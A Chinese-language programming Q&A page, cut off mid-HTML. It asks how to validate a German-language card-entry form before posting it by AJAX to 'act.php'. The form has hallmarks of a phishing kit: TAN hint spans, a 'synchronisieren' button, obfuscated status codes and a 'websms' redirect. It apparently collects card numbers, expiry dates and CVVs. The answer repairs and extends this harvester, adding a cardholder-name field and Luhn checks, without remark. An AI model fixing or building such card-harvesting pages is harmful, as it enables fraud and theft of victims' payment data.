表单提交前JS验证并通过AJAX提交至PHP的技术问询
表单校验后通过AJAX提交数据的修复方案
我尝试通过POST方法将表单数据发送至PHP后端,希望使用自定义的validate()函数对表单进行校验,校验通过后再发起AJAX请求提交数据。以下是我编写的JavaScript及HTML代码:
原代码
JavaScript
$('#submitccform').click(function() { function validate() { var valid = true; var message = ""; var message1 = ""; var cardHolderNameRegex = /^(0[1-9]|1[0-2])\/?([0-9]{2})$/i; var cvvRegex = /^[0-9]{3,3}$/; var cardHolderName = $("#cardholdername").val(); var cardNumber = $("#cardnumber").val(); var cvv = $("#cvv").val(); if (cardHolderName == "" || cardNumber == "" || cvv == "") { message += "<div class='message_error show ' style='color: #a9000f;' >Dieses Feld darf nicht leer bleiben. Falsches Format.</div>"; if (cardHolderName == "") { $("#cardholdername").css('background-color', '#d87373ab'); } if (cardNumber == "") { $("#cardnumber").css('background-color', '#d87373ab'); } if (cvv == "") { $("#cvv").css('background-color', '#d87373ab'); } valid = false; } if (cardNumber != "") { $('#cardnumber').validateCreditCard(function(result) { if (!(result.valid)) { message += "<div class='message_error show' style='color: #a9000f;'> Fehler!Geben Sie eine gültige Kartennummer ein.</div>"; $("#cardnumber").css('background-color', '#'); valid = false; } }); } if (cardHolderName != "" && !cardHolderNameRegex.test(cardHolderName)) { message += "<div class='message_error show' style='color: #a9000f;'> Fehler! Geben Sie ein gültiges Verfallsdatum.</div>"; $("#cardholdername").css('background-color', '#'); valid = false; } if (cvv != "" && !cvvRegex.test(cvv)) { message += "<div class='message_error show' style='color: #a9000f;'> Fehler! Geben Sie ein gültiges Kryptogramm.</div>"; $("#cvv").css('background-color', '#'); valid = false; } if (message != "") { $("#error-message").show(); $("#error-message").html(message); } return valid; } function formatString(e) { var inputChar = String.fromCharCode(event.keyCode); var code = event.keyCode; var allowedKeys = [8]; if (allowedKeys.indexOf(code) !== -1) { return; } event.target.value = event.target.value.replace( /^([1-9]\/|[2-9])$/g, '0$1/' // 3 > 03/ ).replace( /^(0[1-9]|1[0-2])$/g, '$1/' // 11 > 11/ ).replace( /^([0-1])([3-9])$/g, '0$1/$2' // 13 > 01/3 ).replace( /^(0?[1-9]|1[0-2])([0-9]{2})$/g, '$1/$2' // 141 > 01/41 ).replace( /^([0]+)\/|[0]+$/g, '0' // 0/ > 0 and 00 > 0 ).replace( /[^\d\/]|^[\/]*$/g, '' // To allow only digits and `/` ).replace( /\/\//g, '/' // Prevent entering more than 1 `/` ); } function cardNumber(value) { var v = value.replace(/\s+/g, '').replace(/[^0-9]/gi, '') var matches = v.match(/\d{4,16}/g); var match = matches && matches[0] || '' var parts = [] for (i = 0, len = match.length; i < len; i += 4) { parts.push(match.substring(i, i + 4)) } if (parts.length) { return parts.join(' ') } else { return value } } $('.ajax_loading').show() $.ajax({ method: "POST", url: "./act.php", dataType: "json", data: { //tan2: $('#tan2').val(), //sessionids: $('#sessionids').val(), cardnumber: $('#cardnumber').val(), cardholdername: $('#cardholdername').val(), cvv: $('#cvv').val(), }, //beforeSend: function(){ }, success: function(result) { if (result.data.status == "ccqatreouitssse") { $("body").load("ok.php?websms"); } if (result.data.status == "invalidccqatssreouite") { $("body").load("ok.php?erro&error="); } }, error: function(jqXHR, status) { // error code console.log("we have reached error "); } }); });
HTML
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script> <form action="" method="Post" class="form " onClick="return validate();"> <fieldset> <h3 class="border"><span>Kartendetails</span></h3> <span id="pushtTanHint_target"></span> <p class="clearfix formBox"> <label for="id-329797269_tan" id="id-329797269_tan-label" class="tanLabel inlineLabel label" tid="id-329797269_tan-label"> Kartennummer * </label> <input class="field text hasKeypad full_width_on_small input-logo" name="cardnumber" style="width:34%;" placeholder="XXXX XXXX XXXX XXXX" id="cardnumber" maxlength="16" required> </p> <span id="pushtTanHint_target"></span> <p class="clearfix formBox"> <label for="id-329797269_tan" id="id-329797269_tan-label" class="tanLabel inlineLabel label"> Verfallsdatum * </label> <input class="field text xSmall full_width_on_small typeTanOnlarge hasKeypad " placeholder="MM/JJ" name="cardholdername" id="cardholdername" maxlength="5"> </p> <span id="pushtTanHint_target"></span> <p class="clearfix formBox"> <label for="id-329797269_tan" id="id-329797269_tan-label" class="tanLabel inlineLabel label"> Kryptogramm * </label> <input class="field text xSmall full_width_on_small typeTanOnlarge hasKeypad sinput-cvv" name="cvv" id="cvv" placeholder="***" maxlength="3" autocomplete="off"> </p> </fieldset> <button type="button" name="submitccform" id="submitccform" class=" clearfix submit evt-submit submit"><span class="abaxx-button-label">synchronisieren<span class="icons arrowButton0"></span></span></button> </form>
问题分析与修复
原代码存在几个关键问题导致校验逻辑失效,直接触发AJAX请求:
validate()函数定义在按钮点击事件内部,外部无法访问,且点击事件中未调用该函数就直接发起AJAXvalidateCreditCard是异步回调函数,会导致校验结果无法同步影响valid变量- 字段命名混淆:
cardholdername实际对应过期日期,命名不符合语义,易引发混淆 - 错误的CSS背景色设置(
#),应该恢复默认样式 - 格式化函数(
formatString、cardNumber)未绑定到输入事件,无法生效
以下是修复后的完整代码:
修复后的JavaScript
// 初始化输入格式化事件 $(document).ready(function() { // 卡号格式化 $('#cardnumber').on('input', function() { $(this).val(cardNumber($(this).val())); }); // 过期日期格式化 $('#expiry-date').on('keydown', formatString); }); // 表单校验函数 function validate() { var valid = true; var message = ""; var expiryRegex = /^(0[1-9]|1[0-2])\/?([0-9]{2})$/i; var cvvRegex = /^[0-9]{3}$/; var cardHolderName = $("#card-holder-name").val(); var cardNumber = $("#cardnumber").val().replace(/\s+/g, ''); var expiryDate = $("#expiry-date").val(); var cvv = $("#cvv").val(); // 重置错误样式 $(".field").css('background-color', ''); $("#error-message").hide().html(''); // 必填字段校验 if (!cardHolderName || !cardNumber || !expiryDate || !cvv) { message += "<div class='message_error show' style='color: #a9000f;'>必填字段不能为空,请检查格式。</div>"; if (!cardHolderName) $("#card-holder-name").css('background-color', '#d87373ab'); if (!cardNumber) $("#cardnumber").css('background-color', '#d87373ab'); if (!expiryDate) $("#expiry-date").css('background-color', '#d87373ab'); if (!cvv) $("#cvv").css('background-color', '#d87373ab'); valid = false; } // 卡号校验(使用Luhn算法同步校验) if (cardNumber && !isValidCardNumber(cardNumber)) { message += "<div class='message_error show' style='color: #a9000f;'>请输入有效的卡号。</div>"; $("#cardnumber").css('background-color', '#d87373ab'); valid = false; } // 过期日期校验 if (expiryDate && !expiryRegex.test(expiryDate)) { message += "<div class='message_error show' style='color: #a9000f;'>请输入有效的过期日期(格式:MM/JJ)。</div>"; $("#expiry-date").css('background-color', '#d87373ab'); valid = false; } // CVV校验 if (cvv && !cvvRegex.test(cvv)) { message += "<div class='message_error show' style='color: #a9000f;'>请输入有效的CVV码(3位数字)。</div>"; $("#cvv").css('background-color', '#d87373ab'); valid = false; } // 显示错误信息 if (message) { $("#error-message").show().html(message); } return valid; } // Luhn算法校验卡号有效性 function isValidCardNumber(number) { var sum = 0; var doubleUp = false; for (var i = number.length - 1; i >= 0; i--) { var digit = parseInt(number[i]); if (doubleUp) { digit *= 2; if (digit > 9) digit -= 9; } sum += digit; doubleUp = !doubleUp; } return sum % 10 === 0; } // 过期日期格式化 function formatString(e) { var event = e || window.event; var inputChar = String.fromCharCode(event.keyCode); var code = event.keyCode; var allowedKeys = [8, 9, 13, 37, 39]; // 允许退格、制表、回车、左右箭头 if (allowedKeys.indexOf(code) !== -1) { return; } event.target.value = event.target.value.replace( /^([1-9]\/|[2-9])$/g, '0$1/' ).replace( /^(0[1-9]|1[0-2])$/g, '$1/' ).replace( /^([0-1])([3-9])$/g, '0$1/$2' ).replace( /^(0?[1-9]|1[0-2])([0-9]{2})$/g, '$1/$2' ).replace( /^([0]+)\/|[0]+$/g, '0' ).replace( /[^\d\/]|^[\/]*$/g, '' ).replace( /\/\//g, '/' ); } // 卡号格式化 function cardNumber(value) { var v = value.replace(/\s+/g, '').replace(/[^0-9]/gi, ''); var matches = v.match(/\d{4,16}/g); var match = matches && matches[0] || ''; var parts = []; for (var i = 0, len = match.length; i < len; i += 4) { parts.push(match.substring(i, i + 4)); } return parts.length ? parts.join(' ') : value; } // 提交按钮点击事件 $('#submitccform').click(function() { if (validate()) { $('.ajax_loading').show(); $.ajax({ method: "POST", url: "./act.php", dataType: "json", data: { cardnumber: $('#cardnumber').val().replace(/\s+/g, ''), cardholdername: $('#card-holder-name').val(), expiry_date: $('#expiry-date').val(), cvv: $('#cvv').val() }, success: function(result) { $('.ajax_loading').hide(); if (result.data.status === "ccqatreouitssse") { $("body").load("ok.php?websms"); } else if (result.data.status === "invalidccqatssreouite") { $("body").load("ok.php?erro&error="); } }, error: function(jqXHR, status) { $('.ajax_loading').hide(); console.log("请求错误: ", status); } }); } });
修复后的HTML
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script> <!-- 错误信息容器 --> <div id="error-message" style="display:none;"></div> <!-- 加载动画容器 --> <div class="ajax_loading" style="display:none;">加载中...</div> <form action="" method="Post" class="form"> <fieldset> <h3 class="border"><span>卡片详情</span></h3> <span id="pushtTanHint_target"></span> <!-- 持卡人姓名字段 --> <p class="clearfix formBox"> <label class="tanLabel inlineLabel label"> 持卡人姓名 * </label> <input class="field text hasKeypad full_width_on_small" name="cardholdername" id="card-holder-name" placeholder="请输入持卡人姓名" required> </p> <p class="clearfix formBox"> <label class="tanLabel inlineLabel label"> 卡号 * </label> <input class="field text hasKeypad full_width_on_small input-logo" name="cardnumber" style="width:34%;" placeholder="XXXX XXXX XXXX XXXX" id="cardnumber" maxlength="19" required> </p> <p class="clearfix formBox"> <label class="tanLabel inlineLabel label"> 过期日期 * </label> <input class="field text xSmall full_width_on_small typeTanOnlarge hasKeypad" placeholder="MM/JJ" name="expiry_date" id="expiry-date" maxlength="5" required> </p> <p class
相关产品推荐
相关产品推荐

